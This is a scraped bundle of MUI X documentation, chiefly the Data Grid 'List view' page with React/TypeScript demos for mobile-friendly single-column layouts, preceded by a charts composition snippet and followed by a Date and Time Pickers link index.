<ChartDataProvider>
  <ChartsWrapper>
    <ChartsLegend />
    <ChartsSurface>
      <ChartsGrid />
      <g clipPath={`url(#${clipPathId})`}>
        {/* Elements clipped inside the drawing area. */}
        <AreaPlot />
        <LinePlot />
        <ChartsOverlay />
        <ChartsAxisHighlight />
      </g>
      <ChartsAxis />
      <g data-drawing-container>
        {/* Elements able to overflow the drawing area. */}
        <MarkPlot />
      </g>
      <LineHighlightPlot />
      <ChartsClipPath id={clipPathId} />
    </ChartsSurface>
    <ChartsTooltip />
  </ChartsWrapper>
</ChartDataProvider>
```

:::info
The `data-drawing-container` indicates that children of this element should be considered part of the drawing area, even if they overflow.

See [Composition—clipping](/x/react-charts/composition/#clipping) for more info.
:::

---

# Source: https://mui.com/x/react-data-grid/list-view.md

---
title: Data Grid - List view
---

# Data Grid - List view [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Display data in a single-column list view for a more compact Data Grid on smaller screens and mobile devices.

A typical data grid built for desktop devices can be difficult to use on a mobile device.
The Data Grid Pro provides a single-column list view format to give users a better experience on smaller screens.

## Implementing list view

To enable list view, pass the `listView` prop to the Data Grid.

Unlike the default grid view, list view requires you to explicitly define how columns and cells are displayed by passing the `listViewColumn` prop with [a `renderCell()` function](/x/react-data-grid/cells/#rendercell):

```tsx
function ListViewCell(params: GridRenderCellParams) {
  return <>{params.row.id}</>;
}

const listViewColDef: GridListViewColDef = {
  field: 'listColumn',
  renderCell: ListViewCell,
};

<DataGridPro listViewColumn={listViewColDef} listView={true} />;
```

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridRenderCellParams,
  GridListViewColDef,
  GridColDef,
  GridRowParams,
  GridToolbarContainer,
  GridActionsCell,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';
import Stack from '@mui/material/Stack';
import Avatar from '@mui/material/Avatar';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import MessageIcon from '@mui/icons-material/Message';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import GridViewIcon from '@mui/icons-material/ViewModule';
import ListViewIcon from '@mui/icons-material/ViewList';

declare module '@mui/x-data-grid' {
  interface ToolbarPropsOverrides {
    view: 'grid' | 'list';
    onChangeView: (view: 'grid' | 'list') => void;
  }
}

function MessageAction(params: Pick<GridRowParams, 'row'>) {
  const handleMessage = (event: React.MouseEvent) => {
    event.stopPropagation();
    console.log(`send message to ${params.row.phone}`);
  };
  return (
    <IconButton aria-label="Message" onClick={handleMessage}>
      <MessageIcon />
    </IconButton>
  );
}

function ListViewCell(params: GridRenderCellParams) {
  return (
    <Stack
      direction="row"
      sx={{
        alignItems: 'center',
        height: '100%',
        gap: 2,
      }}
    >
      <Avatar sx={{ width: 32, height: 32, backgroundColor: params.row.avatar }} />
      <Stack sx={{ flexGrow: 1 }}>
        <Typography variant="body2" fontWeight={500}>
          {params.row.name}
        </Typography>
        <Typography variant="body2" color="text.secondary">
          {params.row.position}
        </Typography>
      </Stack>
      <MessageAction {...params} />
    </Stack>
  );
}

const listViewColDef: GridListViewColDef = {
  field: 'listColumn',
  renderCell: ListViewCell,
};

const VISIBLE_FIELDS = ['avatar', 'name', 'position'];

type ToolbarProps = {
  view: 'grid' | 'list';
  onChangeView: (view: 'grid' | 'list') => void;
};

function Toolbar({ view, onChangeView }: ToolbarProps) {
  return (
    <GridToolbarContainer
      sx={{ borderBottom: '1px solid', borderColor: 'divider', py: 1 }}
    >
      <ToggleButtonGroup
        size="small"
        sx={{ ml: 'auto' }}
        value={view}
        exclusive
        onChange={(_, newView) => {
          if (newView) {
            onChangeView(newView);
          }
        }}
      >
        <ToggleButton
          size="small"
          color="primary"
          sx={{ gap: 0.5 }}
          value="grid"
          selected={view === 'grid'}
        >
          <GridViewIcon fontSize="small" /> Grid
        </ToggleButton>
        <ToggleButton
          size="small"
          color="primary"
          sx={{ gap: 0.5 }}
          value="list"
          selected={view === 'list'}
        >
          <ListViewIcon fontSize="small" /> List
        </ToggleButton>
      </ToggleButtonGroup>
    </GridToolbarContainer>
  );
}

export default function ListView() {
  const [view, setView] = React.useState<'grid' | 'list'>('list');
  const isListView = view === 'list';

  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 20,
    visibleFields: VISIBLE_FIELDS,
  });

  const columns: GridColDef[] = React.useMemo(() => {
    return [
      ...data.columns,
      {
        type: 'actions',
        field: 'actions',
        width: 75,
        renderCell: (params: GridRenderCellParams) => (
          <GridActionsCell {...params}>
            <MessageAction row={params.row} />
          </GridActionsCell>
        ),
      },
    ];
  }, [data.columns]);

  const rowHeight = isListView ? 64 : 52;

  return (
    <div style={{ width: '100%', maxWidth: 360, height: 600 }}>
      <DataGridPro
        {...data}
        loading={loading}
        columns={columns}
        rowHeight={rowHeight}
        listView={isListView}
        listViewColumn={listViewColDef}
        slots={{
          toolbar: Toolbar,
        }}
        showToolbar
        slotProps={{
          toolbar: {
            view,
            onChangeView: setView,
          },
        }}
        sx={{ backgroundColor: 'background.paper' }}
      />
    </div>
  );
}

```

## Responsive list view with media query

Use the `useMediaQuery` hook from `@mui/material` to enable the list view feature at a specified breakpoint.
The demo below automatically switches to a list layout when the viewport width is below the `md` breakpoint.

```tsx
import {
  DataGridPro,
  GridRenderCellParams,
  GridListViewColDef,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';
import Stack from '@mui/material/Stack';
import Avatar from '@mui/material/Avatar';
import Typography from '@mui/material/Typography';
import useMediaQuery from '@mui/material/useMediaQuery';
import { useTheme } from '@mui/material/styles';

function ListViewCell(params: GridRenderCellParams) {
  return (
    <Stack
      direction="row"
      sx={{
        alignItems: 'center',
        height: '100%',
        gap: 2,
      }}
    >
      <Avatar sx={{ width: 32, height: 32, backgroundColor: params.row.avatar }} />
      <Stack sx={{ flexGrow: 1 }}>
        <Typography variant="body2" fontWeight={500}>
          {params.row.name}
        </Typography>
        <Typography variant="body2" color="text.secondary">
          {params.row.position}
        </Typography>
      </Stack>
    </Stack>
  );
}

const listViewColDef: GridListViewColDef = {
  field: 'listColumn',
  renderCell: ListViewCell,
};

const VISIBLE_FIELDS = ['avatar', 'name', 'position'];

export default function ListViewMediaQuery() {
  const theme = useTheme();
  const isListView = useMediaQuery(theme.breakpoints.down('md'));

  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 5,
    visibleFields: VISIBLE_FIELDS,
  });

  const rowHeight = isListView ? 64 : 52;

  return (
    <div
      style={{
        display: 'flex',
        flexDirection: 'column',
        width: '100%',
        height: 400,
      }}
    >
      <DataGridPro
        {...data}
        loading={loading}
        rowHeight={rowHeight}
        listView={isListView}
        listViewColumn={listViewColDef}
      />
    </div>
  );
}

```

## List view with editable rows

The [editing feature](/x/react-data-grid/editing/) is not supported while in list view, but it's possible to build an editing experience from within a custom cell renderer, as shown below:

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridRenderCellParams,
  GridListViewColDef,
  GridColDef,
  GridRowParams,
  GridRowsProp,
  useGridApiContext,
} from '@mui/x-data-grid-pro';
import Stack from '@mui/material/Stack';
import Avatar from '@mui/material/Avatar';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import EditIcon from '@mui/icons-material/Edit';
import DeleteIcon from '@mui/icons-material/Delete';
import Dialog from '@mui/material/Dialog';
import DialogTitle from '@mui/material/DialogTitle';
import DialogContent from '@mui/material/DialogContent';
import DialogContentText from '@mui/material/DialogContentText';
import TextField from '@mui/material/TextField';
import Button from '@mui/material/Button';
import DialogActions from '@mui/material/DialogActions';
import FormControl from '@mui/material/FormControl';
import InputLabel from '@mui/material/InputLabel';
import Select from '@mui/material/Select';
import MenuItem from '@mui/material/MenuItem';
import {
  randomId,
  randomTraderName,
  randomArrayItem,
} from '@mui/x-data-grid-generator';

const roles = ['Marketing', 'Finance', 'Development'];

const randomRole = () => {
  return randomArrayItem(roles);
};

const rows: GridRowsProp = [
  {
    id: randomId(),
    name: randomTraderName(),
    position: randomRole(),
    avatar: '#4caf50',
  },
  {
    id: randomId(),
    name: randomTraderName(),
    position: randomRole(),
    avatar: '#2196f3',
  },
  {
    id: randomId(),
    name: randomTraderName(),
    position: randomRole(),
    avatar: '#ff9800',
  },
  {
    id: randomId(),
    name: randomTraderName(),
    position: randomRole(),
    avatar: '#9c27b0',
  },
  {
    id: randomId(),
    name: randomTraderName(),
    position: randomRole(),
    avatar: '#f44336',
  },
];

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 180 },
  {
    field: 'position',
    headerName: 'Department',
    width: 220,
    type: 'singleSelect',
    valueOptions: roles,
  },
];

function EditAction(props: Pick<GridRowParams, 'row'>) {
  const { row } = props;
  const [editing, setEditing] = React.useState(false);
  const [name, setName] = React.useState(row.name);
  const [position, setPosition] = React.useState(row.position);
  const apiRef = useGridApiContext();

  const handleEdit = (event: React.MouseEvent) => {
    event.stopPropagation();
    setEditing(true);
  };

  const handleClose = () => {
    setEditing(false);
  };

  const handleSave = (event: React.FormEvent<HTMLFormElement>) => {
    event.preventDefault();
    apiRef.current.updateRows([{ id: row.id, name, position }]);
    handleClose();
  };

  React.useEffect(() => {
    setName(row.name);
    setPosition(row.position);
  }, [row]);

  return (
    <React.Fragment>
      <IconButton aria-label="Edit" onClick={handleEdit}>
        <EditIcon />
      </IconButton>

      <Dialog
        open={editing}
        onClose={handleClose}
        PaperProps={{
          component: 'form',
          onSubmit: handleSave,
        }}
      >
        <DialogTitle>Edit Employee</DialogTitle>
        <DialogContent sx={{ display: 'flex', flexDirection: 'column', gap: 3 }}>
          <DialogContentText>
            Make changes to the employee&apos;s information.
          </DialogContentText>
          <TextField
            autoFocus
            required
            margin="dense"
            id="name"
            name="name"
            label="Name"
            fullWidth
            value={name}
            onChange={(event) => setName(event.target.value)}
          />
          <FormControl fullWidth required>
            <InputLabel id="position-label">Position</InputLabel>
            <Select
              labelId="position-label"
              id="position"
              name="position"
              label="Position"
              value={position}
              onChange={(event) => setPosition(event.target.value)}
            >
              {roles.map((role) => (
                <MenuItem key={role} value={role}>
                  {role}
                </MenuItem>
              ))}
            </Select>
          </FormControl>
        </DialogContent>
        <DialogActions>
          <Button onClick={handleClose}>Cancel</Button>
          <Button type="submit">Save changes</Button>
        </DialogActions>
      </Dialog>
    </React.Fragment>
  );
}

function DeleteAction(props: Pick<GridRowParams, 'row'>) {
  const { row } = props;
  const apiRef = useGridApiContext();

  return (
    <IconButton
      aria-label="Delete"
      onClick={() => apiRef.current.updateRows([{ id: row.id, _action: 'delete' }])}
    >
      <DeleteIcon />
    </IconButton>
  );
}

function ListViewCell(props: GridRenderCellParams) {
  const { row } = props;

  return (
    <Stack
      direction="row"
      sx={{
        alignItems: 'center',
        height: '100%',
        gap: 2,
      }}
    >
      <Avatar sx={{ width: 32, height: 32, backgroundColor: row.avatar }} />
      <Stack sx={{ flexGrow: 1 }}>
        <Typography variant="body2" fontWeight={500}>
          {row.name}
        </Typography>
        <Typography variant="body2" color="text.secondary">
          {row.position}
        </Typography>
      </Stack>
      <Stack direction="row" sx={{ gap: 0.5 }}>
        <EditAction {...props} />
        <DeleteAction {...props} />
      </Stack>
    </Stack>
  );
}

const listViewColDef: GridListViewColDef = {
  field: 'listColumn',
  renderCell: (params) => <ListViewCell {...params} />,
};

export default function ListViewEdit() {
  return (
    <div
      style={{
        display: 'flex',
        flexDirection: 'column',
        width: '100%',
        maxWidth: 360,
        height: 400,
      }}
    >
      <DataGridPro
        rows={rows}
        columns={columns}
        rowHeight={64}
        listView
        listViewColumn={listViewColDef}
        sx={{ backgroundColor: 'background.paper' }}
      />
    </div>
  );
}

```

## Optimizing list view for small screens

If your use case calls for first-class mobile UX, you can fully customize the Data Grid's list layout using [custom subcomponents](/x/react-data-grid/components/) as shown in the demo below:

```tsx
import * as React from 'react';
import {
  GridActionsCellItem,
  GridColDef,
  useGridApiRef,
  GridRowParams,
  DataGridPremium,
  GridRowId,
  gridClasses,
  GridActionsCell,
  GridRenderCellParams,
  useGridApiContext,
} from '@mui/x-data-grid-premium';
import EditIcon from '@mui/icons-material/Edit';
import DeleteIcon from '@mui/icons-material/Delete';
import Avatar from '@mui/material/Avatar';
import Stack from '@mui/material/Stack';
import OpenIcon from '@mui/icons-material/Visibility';
import useMediaQuery from '@mui/material/useMediaQuery';
import CSSBaseline from '@mui/material/CssBaseline';
import { randomId } from '@mui/x-data-grid-generator';
import { useTheme } from '@mui/material/styles';
import { FileIcon } from './components/FileIcon';
import { DetailsDrawer } from './components/DetailsDrawer';
import { ListCell } from './components/ListCell';
import { Toolbar } from './components/Toolbar';
import { INITIAL_ROWS } from './data';
import { FILE_TYPES } from './constants';
import { RowModel, FileType } from './types';
import { formatDate, formatSize, stringAvatar } from './utils';
import { ActionDrawer } from './components/ActionDrawer';
import { RenameDialog } from './components/RenameDialog';

declare module '@mui/x-data-grid' {
  interface ToolbarPropsOverrides {
    listView: boolean;
    container: HTMLElement;
    handleDelete: (ids: GridRowId[]) => void;
    handleUpload: (event: React.ChangeEvent<HTMLInputElement>) => void;
  }
}

interface Props {
  // Injected by the documentation to work in an iframe.
  window?: () => Window;
}

interface ActionHandlers {
  setOverlayState: (state: {
    overlay: 'actions' | 'details' | 'rename' | null;
    params: Pick<GridRowParams<RowModel>, 'row'> | null;
  }) => void;
  handleDelete: (ids: GridRowId[]) => void;
}

const ActionHandlersContext = React.createContext<ActionHandlers | null>(null);

function ActionsCell(props: GridRenderCellParams) {
  const context = React.useContext(ActionHandlersContext);
  const apiRef = useGridApiContext();
  if (!context) {
    return null;
  }
  const { setOverlayState, handleDelete } = context;

  return (
    <GridActionsCell {...props}>
      <GridActionsCellItem
        label="Preview"
        icon={<OpenIcon fontSize="small" />}
        onClick={() => {
          setOverlayState({ overlay: 'actions', params: props });
        }}
        showInMenu
      />
      <GridActionsCellItem
        label="Rename"
        icon={<EditIcon fontSize="small" />}
        onClick={() =>
          apiRef.current?.startCellEditMode({
            id: props.id,
            field: 'name',
          })
        }
        showInMenu
      />
      <GridActionsCellItem
        label="Delete"
        icon={<DeleteIcon fontSize="small" />}
        onClick={() => handleDelete([props.id])}
        showInMenu
      />
    </GridActionsCell>
  );
}

const columns: GridColDef[] = [
  {
    field: 'name',
    headerName: 'Name',
    width: 350,
    editable: true,
    hideable: false,
    renderCell: (params) => {
      return (
        <Stack direction="row" gap={1.5} alignItems="center" sx={{ height: '100%' }}>
          <FileIcon type={params.row.type} />
          {params.value}
        </Stack>
      );
    },
  },
  {
    field: 'createdBy',
    headerName: 'Owner',
    width: 200,
    renderCell: (params) => {
      const avatarProps = stringAvatar(params.value);
      return (
        <Stack direction="row" gap={1.5} alignItems="center">
          <Avatar
            {...avatarProps}
            sx={{ width: 24, height: 24, fontSize: 12, ...avatarProps.sx }}
          />
          {params.value}
        </Stack>
      );
    },
  },
  {
    field: 'createdAt',
    headerName: 'Added',
    type: 'date',
    width: 200,
    valueFormatter: formatDate,
  },
  {
    field: 'updatedAt',
    headerName: 'Modified',
    type: 'date',
    width: 200,
    valueFormatter: formatDate,
  },
  {
    field: 'type',
    headerName: 'Type',
    width: 150,
  },
  {
    field: 'size',
    headerName: 'Size',
    width: 120,
    valueFormatter: formatSize,
  },
  {
    type: 'actions',
    field: 'actions',
    resizable: false,
    width: 50,
    renderCell: (params) => <ActionsCell {...params} />,
  },
];

export default function ListViewAdvanced({ window }: Props) {
  // This is used only for the example - renders the drawer inside the container
  const container = window !== undefined ? window().document.body : undefined;

  const theme = useTheme();
  const isBelowMd = useMediaQuery(theme.breakpoints.down('md'));

  const isDocsDemo = window !== undefined;
  const isListView = isDocsDemo ? true : isBelowMd;

  const apiRef = useGridApiRef();

  const [loading, setLoading] = React.useState(false);

  const [overlayState, setOverlayState] = React.useState<{
    overlay: 'actions' | 'details' | 'rename' | null;
    params: Pick<GridRowParams<RowModel>, 'row'> | null;
  }>({
    overlay: null,
    params: null,
  });

  const handleCloseOverlay = () => {
    setOverlayState({ overlay: null, params: null });
  };

  const handleDelete = React.useCallback(
    (ids: GridRowId[]) => {
      apiRef.current?.updateRows(ids.map((id) => ({ id, _action: 'delete' })));
    },
    [apiRef],
  );

  const handleUpdate = React.useCallback(
    (
      id: GridRowId,
      field: GridRowParams<RowModel>['columns'][number]['field'],
      value: string,
    ) => {
      const updatedAt = new Date().toISOString();
      apiRef.current?.updateRows([{ id, [field]: value, updatedAt }]);
    },
    [apiRef],
  );

  const handleUpload = React.useCallback(
    (event: React.ChangeEvent<HTMLInputElement>) => {
      if (!event.target.files) {
        return;
      }

      const file = event.target.files[0];
      const createdAt = new Date().toISOString();

      const fileType = file.type.split('/')[1];

      // validate file type
      if (!FILE_TYPES.includes(fileType as FileType)) {
        alert('Invalid file type');
        return;
      }

      const row: RowModel = {
        id: randomId(),
        name: file.name,
        description: '',
        type: fileType as FileType,
        size: file.size,
        createdBy: 'Kenan Yusuf',
        createdAt,
        updatedAt: createdAt,
        state: 'pending',
      };

      event.target.value = '';

      // Add temporary row
      setLoading(true);
      apiRef.current?.updateRows([row]);

      // Simulate server response time
      const timeout = Math.floor(Math.random() * 3000) + 2000;
      setTimeout(() => {
        const uploadedRow: RowModel = { ...row, state: 'uploaded' };
        apiRef.current?.updateRows([uploadedRow]);
        setOverlayState({ overlay: 'actions', params: { row } });
        setLoading(false);
      }, timeout);
    },
    [apiRef],
  );

  const listViewColDef: GridColDef = React.useMemo(
    () => ({
      field: 'listCell',
      renderCell: (params) => (
        <ListCell
          {...params}
          onOpenActions={() => {
            setOverlayState({ overlay: 'actions', params });
          }}
        />
      ),
    }),
    [],
  );

  const getEstimatedRowHeight = () => {
    const density = apiRef.current?.state?.density;

    if (isListView) {
      switch (density) {
        case 'compact':
          return 47;
        case 'standard':
          return 67;
        case 'comfortable':
          return 97;
        default:
          return 67;
      }
    } else {
      switch (density) {
        case 'compact':
          return 47;
        case 'standard':
          return 55;
        case 'comfortable':
          return 63;
        default:
          return 55;
      }
    }
  };

  const getRowHeight = React.useCallback(
    () => (isListView ? 'auto' : undefined),
    [isListView],
  );

  const actionHandlers = React.useMemo<ActionHandlers>(
    () => ({
      setOverlayState,
      apiRef,
      handleDelete,
    }),
    [apiRef, handleDelete],
  );

  return (
    <React.Fragment>
      <CSSBaseline />
      <div
        style={{
          maxWidth: '100%',
          height: 600,
        }}
      >
        <ActionHandlersContext.Provider value={actionHandlers}>
          <DataGridPremium
            apiRef={apiRef}
            rows={INITIAL_ROWS}
            columns={columns}
            loading={loading}
            slots={{ toolbar: Toolbar }}
            showToolbar
            slotProps={{
              toolbar: {
                listView: isListView,
                container,
                handleDelete,
                handleUpload,
              },
              loadingOverlay: {
                variant: 'linear-progress',
              },
            }}
            listView={isListView}
            listViewColumn={listViewColDef}
            pagination
            pageSizeOptions={[10]}
            initialState={{
              density: 'comfortable',
              pagination: {
                paginationModel: {
                  pageSize: 10,
                },
              },
              sorting: {
                sortModel: [{ field: 'createdAt', sort: 'desc' }],
              },
              columns: {
                columnVisibilityModel: {
                  type: false,
                },
              },
            }}
            sx={{
              border: 0,
              borderRadius: 0,
              [`& .${gridClasses.cell}`]: { display: 'flex', alignItems: 'center' },
              [`&.${gridClasses['root--densityCompact']} .${gridClasses.cell}`]: {
                py: 1,
              },
              [`&.${gridClasses['root--densityStandard']} .${gridClasses.cell}`]: {
                py: 1.5,
              },
              [`&.${gridClasses['root--densityComfortable']} .${gridClasses.cell}`]:
                {
                  py: 2,
                },
            }}
            getRowHeight={getRowHeight}
            getEstimatedRowHeight={getEstimatedRowHeight}
            onRowDoubleClick={(params) =>
              setOverlayState({ overlay: 'actions', params })
            }
            hideFooterSelectedRowCount
          />
        </ActionHandlersContext.Provider>

        <DetailsDrawer
          open={overlayState.overlay === 'details'}
          params={overlayState.params}
          listView={isListView}
          container={container}
          onDescriptionChange={(id, value) => handleUpdate(id, 'description', value)}
          onClose={handleCloseOverlay}
        />

        <ActionDrawer
          open={overlayState.overlay === 'actions'}
          params={overlayState.params}
          container={container}
          onPreview={() =>
            setOverlayState({ overlay: 'details', params: overlayState.params })
          }
          onRename={() =>
            setOverlayState({ overlay: 'rename', params: overlayState.params })
          }
          onDelete={(id) => {
            handleDelete([id]);
            handleCloseOverlay();
          }}
          onClose={handleCloseOverlay}
        />

        <RenameDialog
          open={overlayState.overlay === 'rename'}
          params={overlayState.params}
          container={container}
          onSave={(id, value) => handleUpdate(id, 'name', value)}
          onClose={handleCloseOverlay}
        />
      </div>
    </React.Fragment>
  );
}

```

## List view feature compatibility

List view can be used in combination with the following features:

- ✅ [Sorting](/x/react-data-grid/sorting/)
- ✅ [Filtering](/x/react-data-grid/filtering/)
- ✅ [Pagination](/x/react-data-grid/pagination/)
- ✅ [Row selection](/x/react-data-grid/row-selection/)
- ✅ [Multi-filters](/x/react-data-grid/filtering/multi-filters/) [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')
- ✅ [Row pinning](/x/react-data-grid/row-pinning/) [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')
- ✅ [Cell selection](/x/react-data-grid/cell-selection/) [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

:::warning
Features not listed here may not work as expected (or at all).
If you're using a feature that's listed above and it's not working as expected, please [open a bug report](https://github.com/mui/mui-x/issues/new?assignees=&labels=status%3A+waiting+for+maintainer%2Cbug+%F0%9F%90%9B&projects=&template=1.bug.yml).
If you need to use list view with any other features not listed, please [open a feature request](https://github.com/mui/mui-x/issues/new?assignees=&labels=status%3A+waiting+for+maintainer%2Cnew+feature&projects=&template=2.feature.yml).
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)
- [GridListViewColDef](/x/api/data-grid/grid-list-view-col-def/)

---

# MUI X Documentation

This documentation covers all MUI X packages including Data Grid, Date Pickers, Charts, Tree View, and other components.

---

## Date and Time Pickers

This is the documentation for the Date and Time Pickers package.
It contains comprehensive guides, components, and utilities for building user interfaces.

- [Quickstart](/x/react-date-pickers/quickstart.md): Install the MUI X Date and Time Pickers package and set up your date library to start building.
- [Base concepts](/x/react-date-pickers/base-concepts.md): The Date and Time Pickers expose a lot of components to fit your every need.

### Components

#### Date components

- [Date Picker](/x/react-date-pickers/date-picker.md): The Date Picker component lets users select a date.
- [Date Field](/x/react-date-pickers/date-field.md): The Date Field component lets users select a date with the keyboard.
- [Date Calendar](/x/react-date-pickers/date-calendar.md): The Date Calendar component lets users select a date without any input or popper / modal.

#### Time components

- [Time Picker](/x/react-date-pickers/time-picker.md): The Time Picker component lets the user select a time.
- [Time Field](/x/react-date-pickers/time-field.md): The Time Field component lets the user select a time with the keyboard.
- [Time Clock](/x/react-date-pickers/time-clock.md): The Time Clock component lets the user select a time without any input or popper / modal.
- [Digital Clock](/x/react-date-pickers/digital-clock.md): The Digital Clock lets the user select a time without any input or popper / modal.

#### Date Time components

- [Date Time Picker](/x/react-date-pickers/date-time-picker.md): The Date Time Picker component lets users select a date and time.
- [Date Time Field](/x/react-date-pickers/date-time-field.md): The Date Time Field component lets users select a date and a time with the keyboard.

#### Date Range components

- [Date Range Picker](/x/react-date-pickers/date-range-picker.md): The Date Range Picker lets the user select a range of dates.
- [Date Range Field](/x/react-date-pickers/date-range-field.md): The Date Range Field lets the user select a date range with the keyboard.
- [Date Range Calendar](/x/react-date-pickers/date-range-calendar.md): The Date Range Calendar lets the user select a range of dates without any input or popper / modal.

#### Time Range components

- [Time Range Picker](/x/react-date-pickers/time-range-picker.md): The Time Range Picker lets users select a range of time values. 🆕
- [Time Range Field](/x/react-date-pickers/time-range-field.md): The Time Range Field lets the user select a range of time with the keyboard.

#### Date Time Range components

- [Date Time Range Picker](/x/react-date-pickers/date-time-range-picker.md): The Date Time Range Picker lets the user select a range of dates with an explicit starting and ending time.
- [Date Time Range Field](/x/react-date-pickers/date-time-range-field.md): The Date Time Range Field lets the user select a range of dates with an explicit starting and ending time with the keyboard.

- [Field components](/x/react-date-pickers/fields.md): The field components let the user input date and time values with a keyboard and refined keyboard navigation.

### Main features

- [Validation](/x/react-date-pickers/validation.md): Add custom validation to user inputs.
- [Components lifecycle](/x/react-date-pickers/lifecycle.md): This page explains when the onChange, onAccept, and onClose callbacks are called.
- [Shortcuts](/x/react-date-pickers/shortcuts.md): The date picker lets you add custom shortcuts.
- [Accessibility](/x/react-date-pickers/accessibility.md): Learn how the Date and Time Pickers implement accessibility features and guidelines, including keyboard navigation that follows international standards.

### Localization

- [Translated components](/x/react-date-pickers/localization.md): Date and Time Pickers support translations between languages.
- [Date format and localization](/x/react-date-pickers/adapters-locale.md): Date and Time Pickers support formats from different locales.
- [UTC and timezones](/x/react-date-pickers/timezone.md): Date and Time Pickers support UTC and timezones.
- [Calendar systems](/x/react-date-pickers/calendar-systems.md): Use the Date and Time Pickers with non-Gregorian calendars.

### Customization

- [Custom subcomponents](/x/react-date-pickers/custom-components.md): Learn how to override parts of the Date and Time Pickers.
- [Custom layout](/x/react-date-pickers/custom-layout.md): The Date and Time Pickers let you reorganize the layout.
- [Custom field](/x/react-date-pickers/custom-field.md): The Date and Time Pickers let you customize the field by passing props or custom components.
- [Custom opening button](/x/react-date-pickers/custom-opening-button.md): The date picker lets you customize the button to open the views.
- [Customization playground](/x/react-date-pickers/playground.md): Use this playground to experiment with the props that affect the layout of the Date and Time Picker components.

### Resources

- [Index](/x/api/date-pickers.md): API documentation for Index
- [DateCalendar](/x/api/date-pickers/date-calendar.md): API documentation for DateCalendar
- [DateField](/x/api/date-pickers/date-field.md): API documentation for DateField
- [DatePicker](/x/api/date-pickers/date-picker.md): API documentation for DatePicker
- [DatePickerToolbar](/x/api/date-pickers/date-picker-toolbar.md): API documentation for DatePickerToolbar
- [DateRangeCalendar](/x/api/date-pickers/date-range-calendar.md): API documentation for DateRangeCalendar (pro)
- [DateRangePicker](/x/api/date-pickers/date-range-picker.md): API documentation for DateRangePicker (pro)
- [DateRangePickerDay](/x/api/date-pickers/date-range-picker-day.md): API documentation for DateRangePickerDay (pro)
- [DateRangePickerDay2](/x/api/date-pickers/date-range-picker-day-2.md): API documentation for DateRangePickerDay2 (pro)
- [DateRangePickerToolbar](/x/api/date-pickers/date-range-picker-toolbar.md): API documentation for DateRangePickerToolbar (pro)
- [DateTimeField](/x/api/date-pickers/date-time-field.md): API documentation for DateTimeField
- [DateTimePicker](/x/api/date-pickers/date-time-picker.md): API documentation for DateTimePicker
- [DateTimePickerTabs](/x/api/date-pickers/date-time-picker-tabs.md): API documentation for DateTimePickerTabs
- [DateTimePickerToolbar](/x/api/date-pickers/date-time-picker-toolbar.md): API documentation for DateTimePickerToolbar
- [DateTimeRangePicker](/x/api/date-pickers/date-time-range-picker.md): API documentation for DateTimeRangePicker (pro)
- [DateTimeRangePickerTabs](/x/api/date-pickers/date-time-range-picker-tabs.md): API documentation for DateTimeRangePickerTabs (pro)
- [DateTimeRangePickerToolbar](/x/api/date-pickers/date-time-range-picker-toolbar.md): API documentation for DateTimeRangePickerToolbar (pro)
- [DayCalendarSkeleton](/x/api/date-pickers/day-calendar-skeleton.md): API documentation for DayCalendarSkeleton
- [DesktopDatePicker](/x/api/date-pickers/desktop-date-picker.md): API documentation for DesktopDatePicker
- [DesktopDateRangePicker](/x/api/date-pickers/desktop-date-range-picker.md): API documentation for DesktopDateRangePicker (pro)
- [DesktopDateTimePicker](/x/api/date-pickers/desktop-date-time-picker.md): API documentation for DesktopDateTimePicker
- [DesktopDateTimeRangePicker](/x/api/date-pickers/desktop-date-time-range-picker.md): API documentation for DesktopDateTimeRangePicker (pro)
- [DesktopTimePicker](/x/api/date-pickers/desktop-time-picker.md): API documentation for DesktopTimePicker
- [DesktopTimeRangePicker](/x/api/date-pickers/desktop-time-range-picker.md): API documentation for DesktopTimeRangePicker (pro)
- [DigitalClock](/x/api/date-pickers/digital-clock.md): API documentation for DigitalClock
- [LocalizationProvider](/x/api/date-pickers/localization-provider.md): API documentation for LocalizationProvider
- [MobileDatePicker](/x/api/date-pickers/mobile-date-picker.md): API documentation for MobileDatePicker
- [MobileDateRangePicker](/x/api/date-pickers/mobile-date-range-picker.md): API documentation for MobileDateRangePicker (pro)
- [MobileDateTimePicker](/x/api/date-pickers/mobile-date-time-picker.md): API documentation for MobileDateTimePicker
- [MobileDateTimeRangePicker](/x/api/date-pickers/mobile-date-time-range-picker.md): API documentation for MobileDateTimeRangePicker (pro)
- [MobileTimePicker](/x/api/date-pickers/mobile-time-picker.md): API documentation for MobileTimePicker
- [MobileTimeRangePicker](/x/api/date-pickers/mobile-time-range-picker.md): API documentation for MobileTimeRangePicker (pro)
- [MonthCalendar](/x/api/date-pickers/month-calendar.md): API documentation for MonthCalendar
- [MultiInputDateRangeField](/x/api/date-pickers/multi-input-date-range-field.md): API documentation for MultiInputDateRangeField (pro)
- [MultiInputDateTimeRangeField](/x/api/date-pickers/multi-input-date-time-range-field.md): API documentation for MultiInputDateTimeRangeField (pro)
- [MultiInputTimeRangeField](/x/api/date-pickers/multi-input-time-range-field.md): API documentation for MultiInputTimeRangeField (pro)
- [MultiSectionDigitalClock](/x/api/date-pickers/multi-section-digital-clock.md): API documentation for MultiSectionDigitalClock
- [PickerDay2](/x/api/date-pickers/picker-day-2.md): API documentation for PickerDay2
- [PickersActionBar](/x/api/date-pickers/pickers-action-bar.md): API documentation for PickersActionBar
- [PickersCalendarHeader](/x/api/date-pickers/pickers-calendar-header.md): API documentation for PickersCalendarHeader
